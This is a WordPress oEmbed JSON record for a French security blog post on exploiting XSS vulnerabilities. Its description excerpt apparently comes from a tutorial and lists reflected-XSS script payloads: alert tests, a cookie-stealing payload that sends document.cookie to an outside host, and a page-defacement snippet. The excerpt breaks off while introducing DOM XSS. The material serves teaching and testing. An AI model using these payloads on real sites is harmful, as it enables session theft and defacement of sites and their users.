{"version":"1.0","provider_name":"S\u00e9curiser votre site","provider_url":"https:\/\/www.searchevolution.com\/security","author_name":"Germain","author_url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/","title":"Exploiter les vuln\u00e9rabilit\u00e9s XSS - S\u00e9curiser votre site","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"XxN6jFLSIL\"><a href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/27\/exploiter-les-vulnerabilites-xss\/\">Exploiter les vuln\u00e9rabilit\u00e9s XSS<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/27\/exploiter-les-vulnerabilites-xss\/embed\/#?secret=XxN6jFLSIL\" width=\"600\" height=\"338\" title=\"&laquo; Exploiter les vuln\u00e9rabilit\u00e9s XSS &raquo; &#8212; S\u00e9curiser votre site\" data-secret=\"XxN6jFLSIL\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\n\/* <![CDATA[ *\/\n\/*! This file is auto-generated *\/\n!function(d,l){\"use strict\";l.querySelector&&d.addEventListener&&\"undefined\"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!\/[^a-zA-Z0-9]\/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),o=l.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),c=new RegExp(\"^https?:$\",\"i\"),i=0;i<o.length;i++)o[i].style.display=\"none\";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute(\"style\"),\"height\"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):\"link\"===t.message&&(r=new URL(s.getAttribute(\"src\")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener(\"message\",d.wp.receiveEmbedMessage,!1),l.addEventListener(\"DOMContentLoaded\",function(){for(var e,t,s=l.querySelectorAll(\"iframe.wp-embedded-content\"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute(\"data-secret\"))||(t=Math.random().toString(36).substring(2,12),e.src+=\"#?secret=\"+t,e.setAttribute(\"data-secret\",t)),e.contentWindow.postMessage({message:\"ready\",secret:t},\"*\")},!1)))}(window,document);\n\/* ]]> *\/\n<\/script>\n","description":"V\u00e9rifier si un site est vuln\u00e9rable \u00e0 une faille XSS (r\u00e9flexion). On entre ce code dans une bo\u00eete de recherche. Si rien n&#8217;est filtr\u00e9, souvent, dans le r\u00e9sultat de recherche, les termes recherch\u00e9s sont affich\u00e9s. &lt;script&gt;alert(&quot;Hello&quot;)&lt;\/script&gt; &lt;script&gt;alert(window.location.hostname)&lt;\/script&gt; #alternative Afficher le cookie du site &lt;script&gt;alert(document.cookie)&lt;\/script&gt; Voler un cookie &lt;script&gt;document.location=&#039;http:\/\/www.searchevolution.com\/log\/&#039;+document.cookie&lt;\/script&gt; Changer le contenu de la page web &lt;script&gt;document.querySelector(&#039;#thm-title&#039;).textContent = &#039;I am a Hacker&#039;&lt;\/script&gt; document.getElementById(&#039;thm-title&#039;).innerHTML=&quot;test&quot;; Xss DOM. Parfois une partie du DOM est modifi\u00e9 et une action est n\u00e9cessaire pour activer notre script. Par exemple, on peut nous demander le nom d&#8217;un image et afficher cette nouvelle image sur le site. On pourrait","thumbnail_url":"http:\/\/192.168.0.1\/favicon.ico"}